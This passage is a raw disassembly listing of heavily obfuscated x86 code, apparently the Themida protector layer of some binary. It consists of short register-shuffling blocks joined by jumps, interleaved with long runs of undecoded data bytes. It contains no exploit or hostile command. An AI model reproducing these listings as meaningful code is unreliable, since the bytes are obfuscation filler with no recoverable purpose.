dup(0FFh) ; --------------------------------------------------------------------------- loc_539422: ; CODE XREF: Themida_:0053E653j and ecx, ebp pop ebp xor ecx, 16590ED0h or edx, ecx pop ecx jmp loc_53DDB4 ; --------------------------------------------------------------------------- db 54h dd 4EC815Eh, 89000000h, 4BA2414h, 0E9000000h, 4D9Ch, 8B242C87h dd 8B662424h, 56502404h, 0C681E689h, 4, 4EE81h, 34870000h dd 24895C24h, 24048324h, 51575804h, 7FE0BB53h, 0EBC164B7h dd 0D8E38102h, 81550174h, 612A14F3h, 5BD98923h, 0C159CF89h dd 0E78107E7h, 2D1D47E0h, 0BA04C781h, 0F801DFE2h, 0D40BE95Fh dd 8952FFFFh, 4C281E2h, 81000000h, 4C2h, 24148700h, 5E54565Ch dd 4BDB68h, 242C8900h, 0F638FBBDh, 79F5810Eh, 0C10E945Ch dd 0D5F706EDh, 8997C581h, 0DEE90001h, 1000003h, 14875EF2h dd 8E6BE924h, 0B7530000h, 5BFC283Eh, 8058E100h, 5066CDC9h dd 4AE990B4h, 29FFFFE8h, 5904244Ch, 0E9240401h, 6C07h dd 79B75351h, 93E977B1h, 80FFFFDEh, 0D48894EAh, 0CDC6805Ah dd 4357E9h db 0 ; --------------------------------------------------------------------------- loc_539521: ; CODE XREF: Themida_:0054067Bj pop ebp not ecx push ebp mov ebp, 6D2E0D3Dh sub ebp, 6B164742h or ebp, 1477626Ah or ebp, 59D21467h add ebp, 2F2F116Ah jmp loc_53D4A3 ; --------------------------------------------------------------------------- db 5Ah dd 0E904C483h, 423Fh, 582434FFh, 0F941E955h, 0E2C1FFFFh dd 5AE95008h, 2CFFFFC8h, 0EC815BA6h, 2, 24148966h, 6AE96AB2h db 4Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_539577: ; CODE XREF: Themida_:0053F6C6j xchg eax, [esp] pop esp mov [esp], ebx mov ebx, esp add ebx, 4 jmp loc_53DC5E ; --------------------------------------------------------------------------- db 83h dd 3C8704C7h, 6F215C24h, 242C8B1Ch, 4E3468h, 24348900h dd 0C681E689h, 4, 4C681h, 34870000h, 24248B24h, 0FFC508E9h dd 895256FFh, 4C281E2h, 83000000h, 0CEE904EAh, 8100006Eh dd 0CC2CACEFh, 0FFF831F8h, 685F2434h, 3E5Bh, 61C0E9h, 50D7F600h dd 8850FC88h, 58E788ECh, 79E9E588h db 34h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5395F3: ; CODE XREF: Themida_:0053F5FDj shr eax, 8 xor eax, ecx push eax not dword ptr [esp] push dword ptr [esp] pop eax jmp loc_53E9F4 ; --------------------------------------------------------------------------- db 89h, 0E0h, 57h dd 1A35BE56h, 0D9E91E4Fh db 64h, 2 dup(0) ; --------------------------------------------------------------------------- loc_539613: ; CODE XREF: Themida_:0053F535j add dword ptr [esp+4], 6F7770FEh push ebp mov ebp, 64671B1Dh add [esp+8], ebp pop ebp jmp loc_53C3C2 ; --------------------------------------------------------------------------- db 5Fh dd 0E904EC83h, 0F45h ; --------------------------------------------------------------------------- loc_539634: ; CODE XREF: Themida_:0053E7FFj xor eax, ecx jmp loc_53DA79 ; --------------------------------------------------------------------------- loc_53963B: ; CODE XREF: Themida_:00541675j mov ecx, 5DAB714Dh mov eax, 0E9C4D283h jmp loc_53C5C0 ; --------------------------------------------------------------------------- dw 0F828h dd 0FFD418E9h db 0FFh ; --------------------------------------------------------------------------- loc_539651: ; CODE XREF: Themida_:00536B5Fj pop ecx add edx, eax mov eax, [esp] add esp, 4 jmp loc_537795 ; --------------------------------------------------------------------------- loc_53965F: ; CODE XREF: Themida_:0053DE4Bj sub esi, 0BEA7490Bh xor ebp, esi pop esi and ecx, ebp jmp loc_53F567 ; --------------------------------------------------------------------------- db 24h dd 0E433E94Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_539676: ; CODE XREF: Themida_:0053C9DBj push edi jmp loc_541BF2 ; --------------------------------------------------------------------------- loc_53967C: ; CODE XREF: Themida_:0053F8E0j push eax jmp loc_53D54F ; --------------------------------------------------------------------------- dw 0F66h dd 6866CCB6h, 896633C7h, 0F0E9240Ch db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_539693: ; CODE XREF: Themida_:0053A8D5j pop ecx or edx, 5E0D278Ah neg edx jmp loc_53E717 ; --------------------------------------------------------------------------- aZSgj db 'Z]éG†',0 align 4 dd 103D101h, 0F6685A59h, 8900002Ch, 0A2E92404h, 31FFFFD3h dd 0F7815DEFh, 2F80DD93h, 815FFA01h, 4ECh, 242C8900h, 4699E9h dd 24148B00h, 4C481h, 0D0010000h, 2404875Ah, 0E924248Bh dd 381Dh, 0B31AF92Dh, 8827E924h, 51500000h, 0FFDBC4E9h dd 2434FFFFh, 0E92434FFh, 0FFFFCFE8h, 80EDE95Fh, 1C8B0000h dd 4C48124h, 28000000h, 82C180F9h, 493DE95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_539722: ; CODE XREF: Themida_:00539413j push edx mov edx, esp push eax jmp loc_53A0BF ; --------------------------------------------------------------------------- db 68h dd 56ED435h, 2290E9h db 0 ; --------------------------------------------------------------------------- loc_539735: ; CODE XREF: Themida_:0053CE95j push 3ACBh mov [esp], esp add dword ptr [esp], 4 mov esi, [esp] add esp, 4 add esi, 4 jmp loc_53D178 ; --------------------------------------------------------------------------- aAsdsR db '€éDé',0Ah db 'R',0 align 10h loc_539760: ; CODE XREF: Themida_:0053A0CEj push dword ptr [esp+4] mov edx, [esp] jmp loc_54100F ; --------------------------------------------------------------------------- loc_53976C: ; CODE XREF: Themida_:0053DE42j add ecx, edi sub esp, 4 mov [esp], eax mov eax, 0 add eax, ecx jmp loc_53B8F7 ; --------------------------------------------------------------------------- dd 4EC6815Eh, 0F7044D2Bh, 0AC681D6h, 815B1533h, 0A9561DEEh dd 5EF5016Dh, 4CE9F501h, 87FFFFD8h, 248B2434h, 4EC8124h dd 89000000h, 0E389241Ch, 4C381h, 0C3830000h, 7565E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5397BE: ; CODE XREF: Themida_:0053E004j push dword ptr [esp] pop edx sub esp, 4 jmp loc_540833 ; --------------------------------------------------------------------------- db 5Dh, 1, 0F8h dd 81243C8Bh, 4C4h, 2BD5500h, 29000000h, 0C3FFE9E8h, 483FFFFh dd 815F0424h, 4C7h, 4C78100h, 87000000h, 9EE9243Ch, 66000067h dd 9EB55158h, 0E903EDC0h, 438Bh, 8B24048Fh, 0EC832424h dd 24896602h, 4836624h, 84E90224h, 0BDFFFFD9h, 4, 4246C01h dd 2A5FE95Dh, 0C1810000h, 6FD47B03h, 34B6E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_53983E: ; CODE XREF: Themida_:005375A6j add ebx, eax push eax jmp loc_53B94A ; --------------------------------------------------------------------------- loc_539846: ; CODE XREF: Themida_:00536B13j shr eax, 0Bh xor ecx, eax push esi push ebx xor dword ptr [esp], 7E395DA2h pop esi push 5A1Fh jmp loc_53EE6F ; --------------------------------------------------------------------------- db 0ADh dd 451D4505h, 27C4E92Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_53986A: ; CODE XREF: Themida_:0053C3E4j xor [esp+4], eax jmp loc_5406D5 ; --------------------------------------------------------------------------- loc_539873: ; CODE XREF: Themida_:00541311j mov ebx, eax pop eax sub ebx, 66ED41FDh jmp loc_53D27B ; --------------------------------------------------------------------------- loc_539881: ; CODE XREF: Themida_:0053EDBAj sub ecx, ebp jmp loc_535E29 ; --------------------------------------------------------------------------- loc_539888: ; CODE XREF: Themida_:0053A614j mov cl, 0EFh and bl, cl jmp loc_53A584 ; --------------------------------------------------------------------------- db 59h, 0E9h, 15h db 77h, 2 dup(0) ; --------------------------------------------------------------------------- loc_539897: ; CODE XREF: Themida_:00535B70j mov esi, 4 add ebp, esi pop esi jmp loc_539CD4 ; --------------------------------------------------------------------------- dd 0FFC218E9h, 59E800FFh, 0C0E9B551h, 0D5F602EDh, 0FFD6BEE9h dd 0D7EE81FFh, 0E9086050h, 2623h, 0FE7093BAh, 96C2816Fh dd 29F872ADh, 5CB4E9D3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5398D6: ; CODE XREF: Themida_:0053F3BAj mov edx, 0A85511Eh push ecx push 54B2h mov [esp], edx push 3DC9711Ch pop edx push edx pop ecx mov edx, [esp] add esp, 4 jmp loc_53A8D3 ; --------------------------------------------------------------------------- dw 2159h dd 240C8BC8h, 16D668h, 243C8900h, 0EC815F54h, 4, 5355E9h dd 0E20BE00h, 11E95A47h db 4Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_53991F: ; CODE XREF: Themida_:005420E2j add esp, 4 shl ecx, 7 push edx mov edx, 12DF06D3h xor edx, 47702FFDh add edx, 8B7B5453h sub ecx, edx pop edx sub [edi+24h], ecx pop ecx loc_539941: ; CODE XREF: Themida_:loc_53F38Fj push 7CE3h mov [esp], ebx push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] jmp loc_538F90 ; --------------------------------------------------------------------------- db 89h dd 8B542404h, 0C4832404h, 28E95204h, 87000046h, 55E9240Ch dd 66FFFFF0h, 9C2424D3h, 0FFC148E9h, 5AD530FFh, 5966E828h dd 278C6866h, 0FFC3F6E9h db 0FFh ; --------------------------------------------------------------------------- loc_539989: ; CODE XREF: Themida_:0053A173j mov esi, 1D7017FBh add esi, 16DC0B05h sub edx, esi pop esi dec edx add edx, 71F77BE6h xor eax, edx pop edx pop esi push 1283h mov [esp], ebp push 43F6h mov [esp], edi mov edi, 32E03AACh push 48A1h mov [esp], esi mov esi, 7CA6516Dh xor esi, 2AF83701h jmp loc_53E1BD ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFC0EDh, 1404E958h, 0E7C00000h, 436E903h, 0C870000h dd 3C895C24h, 7179BF24h, 7C291CB3h, 0FF5F0424h, 81582434h dd 4ECh, 24048900h, 4EC81h, 24890000h, 8911E924h, 81AD0000h dd 4ECh, 24348900h, 0B04CB0BEh, 0BA525318h, 32FB3E4Fh dd 0E95AD389h, 0FFFFE836h ; --------------------------------------------------------------------------- loc_539A2C: ; CODE XREF: Themida_:00538494j and edi, 77C80FABh inc edi sub edi, 1 xor edi, 73B474B8h push edx mov edx, 36747714h sub edi, edx pop edx sub edx, edi jmp loc_536A07 ; --------------------------------------------------------------------------- loc_539A4F: ; CODE XREF: Themida_:0053F8A7j pop ecx push ebp push eax mov eax, 495A325Ch jmp loc_53A9F3 ; --------------------------------------------------------------------------- dd 0E9241489h, 0FFFFDEC6h ; --------------------------------------------------------------------------- loc_539A64: ; CODE XREF: Themida_:00537BAFj mov [ecx], ebx pop ecx mov ebx, [esp] jmp loc_536DA3 ; --------------------------------------------------------------------------- db 5Ah dd 1DA7642Dh, 542968BEh, 4890000h, 24048124h, 7E2E3989h dd 89EE815Eh, 0E97E2E39h, 80Eh, 2C78358h, 0E9243C87h, 0FFFFC8DFh dd 1BA168h, 7C64E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_539AA6: ; CODE XREF: Themida_:0053B383j pop eax add ebp, 4 xchg ebp, [esp] pop esp jmp loc_53A903 ; --------------------------------------------------------------------------- db 51h dd 0C9FEFCB1h, 8003E9C0h, 0C830E7E9h, 4F3DE9h, 0E9555E00h dd 2020h, 0EB32E95Ch, 0E981FFFFh, 7D78BB05h, 0E959CF89h dd 1EDAh, 2B5315B9h, 0E9D1F70Fh, 0FFFFD76Bh ; --------------------------------------------------------------------------- loc_539AEC: ; CODE XREF: Themida_:005406AAj xor ebp, esi pop esi jmp loc_539393 ; --------------------------------------------------------------------------- dd 4A14E95Dh, 0CBB0000h, 0E9348846h, 563Fh, 33241C31h dd 0E95C241Ch, 29C5h, 5C241487h, 0D828442Ch, 80D2B353h dd 0F3802BEBh, 3EBC0DFh, 0E903EBC0h, 0FFFFF777h ; --------------------------------------------------------------------------- loc_539B2C: ; CODE XREF: Themida_:00540166j add [esp], ax pushf jmp loc_5366E4 ; --------------------------------------------------------------------------- dw 2C59h dd 4D8288Ah, 2434FF8Ah, 83241C8Bh, 0C48304C4h, 99B25204h dd 803AF280h, 0C2809EF2h, 0C7FCE995h, 5752FFFFh, 0FEBFh dd 148B5700h, 7499E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_539B6A: ; CODE XREF: Themida_:005373F0j inc ebx jmp loc_53BD3D ; --------------------------------------------------------------------------- loc_539B70: ; CODE XREF: Themida_:0053658Bj mov [esp], esi push dword ptr [esp+4] jmp loc_53A58A ; --------------------------------------------------------------------------- dd 0E904C483h, 0FFFFBF3Dh, 587CE958h, 81660000h, 0A022444h dd 0D5FFE97Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_539B96: ; CODE XREF: Themida_:0053E14Aj mov ebp, esp jmp loc_540E17 ; --------------------------------------------------------------------------- db 81h, 0C1h, 33h dd 816E8E01h, 1572B3C9h, 0C181410Ah, 2AEFB94Eh, 0C8BCB01h dd 0E7895724h, 4C781h, 58E90000h, 81000019h, 4E9h, 240C8700h dd 2404895Ch, 136C1DB8h, 1670251Dh, 0D486505h, 2EAF438Dh dd 8A253305h, 0DC7EE9F9h, 0F66FFFFh, 8952CCB6h, 59BF57E2h dd 0C122AB64h, 0EF8103E7h, 56466994h, 2B10C781h, 0BD554EF1h dd 218539D3h, 0FFFAAAE9h, 243C87FFh, 8924248Bh, 5150241Ch dd 8CE9D188h, 8100001Dh, 4ECh, 241C8900h, 0C381E389h, 4 dd 0F7DEE957h, 6866FFFFh, 896606DEh, 0F8882404h, 0C688F788h dd 24048B66h, 617FE9h, 0BF665700h, 4F66048Dh, 0C1664766h dd 876608E7h, 0D6F766F7h, 66F78766h, 0C7BD6655h, 0D194E973h dd 0F181FFFFh, 0CB1185Fh, 7E93F181h, 0E98144CCh, 0BEF2350h dd 39EBE9h db 0 ; --------------------------------------------------------------------------- loc_539C89: ; CODE XREF: Themida_:00541551j pop ebp pop dword ptr [esp] pop esp push dword ptr [edi+eax*4] push esi mov esi, 74A93A7Dh xor [esp+4], esi pop esi push dword ptr [esp] jmp loc_536C5C ; --------------------------------------------------------------------------- dd 0C780E728h, 0E4D2E9EFh, 77FFFFFFh, 24048B1Ch, 4EC81h dd 98E90000h, 33FFFFFCh, 248B240Ch, 22096824h, 4890000h dd 0E9E08924h, 8124h ; --------------------------------------------------------------------------- loc_539CD4: ; CODE XREF: Themida_:0053989Fj push esi jmp loc_53B89F ; --------------------------------------------------------------------------- dw 95Bh dd 2C8B1C6Fh, 0E3895324h, 4C381h, 4DE90000h, 81000027h dd 2C4h, 689F2C00h, 2EDAh, 50240C89h, 405E089h, 0E9000000h dd 21AFh, 0FFFFEF81h, 0E7C1FFFFh, 0FCEF8108h, 89375B70h dd 44F7E9FDh, 815B0000h, 4C4h, 4EC8100h, 89000000h, 168242Ch dd 5D1FA31Bh, 1AFDED81h, 0EE011FA3h, 83242C8Bh, 348704C4h dd 24248B24h, 0FFDB8FE9h, 54015BFFh, 8B5A0424h db 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_53CE48 ; --------------------------------------------------------------------------- loc_539D6F: ; CODE XREF: Themida_:0053A8FEj add ebx, eax pop eax jmp loc_5374AA ; --------------------------------------------------------------------------- db 66h dd 0E9240C8Bh, 0FFFFF839h, 582434FFh, 655868h, 240C8900h dd 0EC83E189h, 24148904h, 0A51954BAh, 0E9DAF742h, 0FFFFC1ADh ; --------------------------------------------------------------------------- loc_539DA0: ; CODE XREF: Themida_:005419DFj xor [esp], esi xor esi, [esp] mov esp, [esp] push ebx push ecx mov ecx, 7B9C601Fh add ecx, 4BD30F51h push ebx mov ebx, 0 sub ebx, ecx push ecx jmp loc_53F4A5 ; --------------------------------------------------------------------------- dd 4C3815Bh, 0E9000000h, 2AB3h, 6624248Bh, 0E9241489h dd 56A3h, 4C3815Bh, 68000000h, 558Ch, 57242C89h, 784BE9h db 0 ; --------------------------------------------------------------------------- loc_539DF1: ; CODE XREF: Themida_:00537190j mov edi, [esp] add esp, 4 shl eax, cl jmp loc_5382D6 ; --------------------------------------------------------------------------- dw 0F381h dd 885AFDA4h, 428CEF81h, 0DF01266Fh, 428CC781h, 0E95B266Fh dd 0FFFFE90Eh, 0EFC0CFFEh, 7F78004h, 0E924F780h, 0FFFFF822h ; --------------------------------------------------------------------------- loc_539E28: ; CODE XREF: Themida_:0053FF7Bj not dword ptr [esp] mov edi, [esp] add esp, 4 push edi push dword ptr [esp+4] pop edi jmp loc_537C2E ; --------------------------------------------------------------------------- db 45h dd 247DE581h, 0ED81467Fh, 24C51721h, 8108E5C1h, 0F0763BC5h dd 5DE901E1h, 4496C981h, 0E9E92E04h, 8BFFFFDDh, 0C4832414h dd 24048F04h, 6624248Bh, 5624048Bh, 39DE9h, 81F22900h dd 817844EAh, 0EA815E46h, 53CC74FDh, 0C3E9DA01h, 8F00001Bh dd 0BEE92404h, 0FF000023h, 148B2434h, 4C48324h, 2C60E9h db 0 ; --------------------------------------------------------------------------- loc_539EA5: ; CODE XREF: Themida_:0053EA93j add ebx, 78D606CCh pop esi dec ebx not ebx inc ebx dec ebx push ebp mov ebp, 3F7416A3h push ebp xchg ebx, [esp] not ebx xchg ebx, [esp] pop ebp xor ebp, 26CF7890h xor ebp, 9CFFC16h sub ebx, ebp pop ebp sub ecx, ebx mov ebx, [esp] add esp, 4 xor eax, ecx jmp loc_53ACCB ; --------------------------------------------------------------------------- dw 0C381h dd 4, 4EB81h, 1C330000h, 241C3124h, 5C241C33h, 0BA241489h dd 45890555h, 436CE9h, 0FFC28000h, 0F280D2F6h, 19B353C8h dd 5BDD00h, 19ED80D5h, 5C3AE95Ah, 0C1810000h, 0AD476A7h dd 8107E1C1h, 22C604C1h, 0E9CB0175h, 4911h ; --------------------------------------------------------------------------- loc_539F34: ; CODE XREF: Themida_:00541C5Aj mov esp, [esp] jmp loc_535AC1 ; --------------------------------------------------------------------------- dd 3AACB850h, 0E8C15F0Ah, 3878E903h, 0A2BB0000h, 31F2EB05h dd 241C8BDFh, 104C483h, 0ADE95FFBh, 66FFFFDAh, 7DF9EE81h dd 0E0E95166h, 0C000004Ch, 0F62C08E8h, 0DE9C588h, 0F6FFFFFCh dd 484DE9DEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_539F7E: ; CODE XREF: Themida_:0053864Fj pop ecx add esp, 4 and eax, ebp mov ebp, [esp] add esp, 4 jmp loc_53B832 ; --------------------------------------------------------------------------- dw 348Bh dd 4C48324h, 0E65FE95Bh, 0C468FFFFh, 89000064h, 0EC83241Ch dd 243C8904h, 4BFh, 8B5B5700h db 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_536206 ; --------------------------------------------------------------------------- dw 0C89h dd 57E18924h, 0FB5F48BFh, 37BE563Ch, 0E9384628h, 6C6Dh dd 240C8B5Ch, 565968h, 241C8900h, 241C8B54h, 0FFC6B5E9h db 0FFh ; --------------------------------------------------------------------------- loc_539FE9: ; CODE XREF: Themida_:005383CEj add eax, 53CA0FACh add eax, 47AE68C5h sub eax, esi sub eax, 47AE68C5h sub eax, 53CA0FACh pop esi push 1F51h mov [esp], ecx mov ecx, esp jmp loc_536F4F ; --------------------------------------------------------------------------- loc_53A00F: ; CODE XREF: Themida_:0053DC45j xor [esp+4], eax pop eax pop eax xor eax, 30490DA0h mov esi, [esp] add esp, 4 push 7504h jmp loc_540AF2 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 5000000h, 3C9C655Eh, 223AC105h, 2DC82954h, 54223AC1h dd 9C655E2Dh, 433593Ch, 24043124h, 0E9240433h, 0FFFFFD78h dd 15B2C281h, 424A16BEh, 483FEA81h, 5EE9085Ch, 68FFFFEEh dd 746Ch, 0FB4E9h db 0 ; --------------------------------------------------------------------------- loc_53A075: ; CODE XREF: Themida_:00536623j add esp, 4 mov ecx, [esp] add esp, 4 jmp loc_53C3E9 ; --------------------------------------------------------------------------- dw 8B66h dd 0A168240Ch, 8900002Fh, 5D54242Ch, 556BA52h, 0EA810FBBh dd 2F397288h, 5736B951h, 0CA211E48h, 0F1C28159h, 427C1904h dd 0B850DAF7h, 53E43A4Eh, 0BBE9E8D1h db 75h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53A0BF: ; CODE XREF: Themida_:00539726j mov eax, 4 add edx, eax pop eax add edx, 4 push edx jmp loc_539760 ; --------------------------------------------------------------------------- db 81h dd 4C3h, 4C38100h, 87000000h, 15C241Ch, 2434FFEEh, 4C4835Dh dd 0B850C601h, 0A1F5F53h, 3B9F68h, 241C8900h, 0DC156DBBh dd 0F7D3F75Ah, 0B6F381D3h, 11C8F09h, 0E9405BD8h, 0FFFFC2E5h ; --------------------------------------------------------------------------- loc_53A114: ; CODE XREF: Themida_:00541F9Aj push eax mov eax, 6BBD12E3h not eax jmp loc_53ECA1 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 0CBEE924h, 0CB010000h, 0A2BF5759h, 81387C4Bh, 9E6304E7h dd 81D7F750h, 1C4303C7h, 0E9FB0110h, 0AE1h ; --------------------------------------------------------------------------- loc_53A148: ; CODE XREF: Themida_:00535B90j push dword ptr [eax] sub dword ptr [esp], 122E1868h pop ecx add ecx, 122E1868h pop eax push ebp mov ebp, 70486B40h sub ebp, 0FFFFFFFFh shr ebp, 1 push esi push 1B2E64CCh jmp loc_537F1E ; --------------------------------------------------------------------------- loc_53A172: ; CODE XREF: Themida_:0053BA9Dj push esi jmp loc_539989 ; --------------------------------------------------------------------------- dd 0B4E68h, 771DE900h, 0E3890000h, 4C381h, 0EB830000h dd 241C8704h, 2414895Ch, 5D3DA1BAh, 5AD6093Ah, 28B68h dd 24148900h, 7726E9h, 18E95600h, 0F7000003h, 25C0E9DFh dd 3C8B0000h, 4C48324h, 5C24048Fh, 9C2424D2h, 0FFE00FE9h dd 642968FFh, 32E90000h, 0B9FFFFCBh, 7C403082h, 3086F181h dd 0ED817C40h, 5A65381Eh, 0C581CD01h, 5A65381Eh, 4EC8359h dd 0B9240C89h, 2, 15E9CD01h, 5100004Fh, 0C181E189h, 4 dd 4E981h, 0C870000h, 44E2E924h, 0E6890000h, 4C681h, 0EE810000h dd 4, 5C243487h, 0E9242C89h, 0FFFFCB9Ah, 5EF3315Ah, 5F5BD829h dd 0FFD9C7E9h, 241C89FFh, 42474FFh, 24048F5Bh, 0FFBC1AE9h dd 0E95155FFh, 8E5h ; --------------------------------------------------------------------------- loc_53A254: ; CODE XREF: Themida_:005361E8j add esp, 4 add esp, 4 push ebp push esp pop ebp push edx jmp loc_537CE2 ; --------------------------------------------------------------------------- dw 1C31h dd 241C3324h, 8124248Bh, 4C4h, 1C66E900h, 4890000h, 3F35E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53A282: ; CODE XREF: Themida_:0053B90Bj pop eax pop ecx jmp loc_535C64 ; --------------------------------------------------------------------------- db 89h, 0E2h, 81h dd 4C2h, 4BB5300h, 29000000h, 0FCCE9DAh, 51580000h, 0C7684B9h dd 55E94974h, 5A00001Dh, 2C681h, 45E90000h db 59h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53A2B7: ; CODE XREF: Themida_:00537BFFj pop esp loc_53A2B8: ; CODE XREF: Themida_:loc_53CA59j ; Themida_:0053E45Aj push 0F3Eh mov [esp], ebx mov eax, [esp] push 6EEAh jmp loc_53F0F5 ; --------------------------------------------------------------------------- a2sbs db '´2éBS',0 align 4 a131SL db '1<$3<$1<$é+L',0 align 2 dw 0EC81h dd 4, 68241489h, 44C3h, 0B8240489h, 21CA6956h, 0E908E0C1h dd 4DDEh, 4C581h, 53E90000h, 5100001Fh, 0F11A9AB9h, 0F7F18152h dd 8153325Ah, 31633CE1h, 8E1C143h, 5F18141h, 101402Ch dd 0BE5659CAh, 4, 4AADC281h, 0F2013153h, 4AADEA81h, 335E3153h dd 14312414h, 24143324h, 2404215Ch, 0B76FE99Ch, 0ED81FFFFh dd 21BFDE34h, 0FFD6A2E9h, 242C89FFh, 693FD5BDh, 0A3B8502Ah dd 91DA123h, 0E5C158C5h, 0CFF58103h, 57344605h, 3B27DEBFh dd 5FFD092Dh, 0FFFBF581h, 0EB01EF3Fh, 26A1E9h db 0 ; --------------------------------------------------------------------------- loc_53A38D: ; CODE XREF: Themida_:00541047j add ebp, 4 push 3FD7h mov [esp], eax push ebp push 63D60DC7h pop ebp not ebp shr ebp, 7 xor ebp, 13853E0h mov eax, ebp mov ebp, [esp] add esp, 4 add ebp, eax mov eax, [esp] push edx push esp pop edx add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_536805 ; --------------------------------------------------------------------------- loc_53A3D7: ; CODE XREF: Themida_:0053E033j mov eax, edx mov edx, [esp] add esp, 4 xor eax, ecx mov ecx, [esp] jmp loc_53A8BF ; --------------------------------------------------------------------------- aSq db '\éQ#',0 dw 100h dd 0E95159CEh, 0FFFFD99Ah, 240C8B66h, 0CB8AE956h, 0D188FFFFh dd 0C88585Ah, 568BE987h, 3BD0000h, 16AF950h, 3753E9EAh dd 8F5F0000h, 665C2404h, 83240C89h, 0D5E904ECh, 66000006h dd 66243C33h, 81243C31h, 2ECh, 3C896600h, 1C876624h, 66536624h dd 662414F7h, 4305E95Bh, 0C2810000h, 2, 8904EC83h, 74FF2414h dd 98E90424h, 0B5FFFFE3h, 6AED80F5h, 0C005E5C0h, 0C58007EDh dd 820E934h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53A476: ; CODE XREF: Themida_:0053DE16j add ebx, 0A24296ECh push 6917h jmp loc_537BA5 ; --------------------------------------------------------------------------- dw 248Bh dd 0E9F76624h, 4AF36866h, 0FFEEA7E9h, 240C87FFh, 0FFD15CE9h dd 0C8B66FFh, 26B16824h, 34890000h, 0ED4FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53A4AE: ; CODE XREF: Themida_:005389EEj add esi, 4 add esi, 4 jmp loc_538E49 ; --------------------------------------------------------------------------- loc_53A4BC: ; CODE XREF: Themida_:00539198j pop edx jmp loc_54101D ; --------------------------------------------------------------------------- dw 0FAE9h dd 57FFFFB5h, 803936BFh, 644BBE2Dh, 0FE316008h, 0C9C3815Fh dd 8172245Fh, 86003BEBh, 81F3297Eh, 86003BC3h, 31CFE97Eh dd 0D0000000h, 54E9852Ch, 0E900005Fh, 0FFFFB5C5h, 4EB81h dd 0A6680000h, 89000017h, 0E9241Ch, 57000046h, 0C781E789h dd 4, 0DFCE9h db 0 ; --------------------------------------------------------------------------- loc_53A51D: ; CODE XREF: Themida_:00540503j sub edx, 33480C14h add eax, edx pop edx add eax, 4 xchg eax, [esp] pop esp loc_53A52F: ; CODE XREF: Themida_:loc_538187j push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebx jmp loc_53ED25 ; --------------------------------------------------------------------------- loc_53A546: ; CODE XREF: Themida_:0053FA3Cj pop esp mov [esp], esi push dword ptr [esp+4] push dword ptr [esp] jmp loc_537C0E ; --------------------------------------------------------------------------- dw 2C8Bh dd 4C48124h, 68000000h, 2D0Bh, 0BF243C89h, 3AE261E9h, 33C968h dd 24048900h, 7ABCE9h, 243C8900h, 0E9505F5Dh, 0FFFFDA9Dh ; --------------------------------------------------------------------------- loc_53A584: ; CODE XREF: Themida_:0053988Cj pop ecx jmp loc_535E31 ; --------------------------------------------------------------------------- loc_53A58A: ; CODE XREF: Themida_:00539B77j mov esi, [esp] add esp, 4 pop dword ptr [esp] jmp loc_5379E5 ; --------------------------------------------------------------------------- dd 191BF57h, 95BD1C0Fh, 0E91C0F01h, 2EEDh, 31240433h, 4332404h dd 24248B24h, 9C240408h, 0FFB504E9h, 23E951FFh, 8B00004Ah dd 0C481240Ch, 4, 0F01CFE05h, 15A2E96Eh, 0FF510000h, 8B042474h dd 0C483240Ch, 24048F04h, 8724248Bh, 248B241Ch, 37EAE924h dd 0C4810000h, 4, 0FFD3D0E9h, 0E1B850FFh, 2D7BAE09h, 31F07F1Fh dd 0D8F7D0F7h, 93E9D0F7h db 10h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53A613: ; CODE XREF: Themida_:00540CB5j push ecx jmp loc_539888 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 240C8966h, 4F7CE9h, 45636800h, 2C890000h, 1D53BD24h dd 814D50C0h, 0C01D50F5h, 143FE950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53A63E: ; CODE XREF: Themida_:0053E182j pop eax mov ecx, edx jmp loc_538E09 ; --------------------------------------------------------------------------- dw 2C31h dd 242C3324h, 2404D25Ch, 0B46BE99Ch, 0BA52FFFFh, 4, 4245401h dd 0E924148Bh, 4C53h, 1213CA81h, 0EA8174E8h, 52BDC38Ah dd 0C15AD701h, 9FE906EFh, 0B1FFFFBDh, 54E9535Ch, 5EFFFFEAh dd 34FFC201h, 0C4835824h, 4C28304h, 8B241487h, 0F1F72424h dd 689268h, 24148900h, 16E99C50h, 81FFFFB4h, 0A1C9ACF7h dd 70E705A7h, 0C4E94161h, 81000010h, 286F87F1h, 81D9F71Ch dd 0D8696BC9h, 2EC0E916h, 0C4810000h, 4, 4C181h, 11E90000h dd 100004Eh, 63C381C3h, 812E7336h, 0FF39BDEBh, 0DCE9565Fh dd 3300004Bh, 4DE9240Ch, 0BB00000Eh, 33DE410Eh, 5E87F381h dd 0EBE94203h, 8900002Fh, 4C681E6h, 0E9000000h, 0FFFFD9DCh ; --------------------------------------------------------------------------- loc_53A718: ; CODE XREF: Themida_:005400ADj shr ecx, 6 push edx push 6CF6h mov [esp], ebx push edi jmp loc_53B645 ; --------------------------------------------------------------------------- dw 0EA29h dd 0FBBE565Dh, 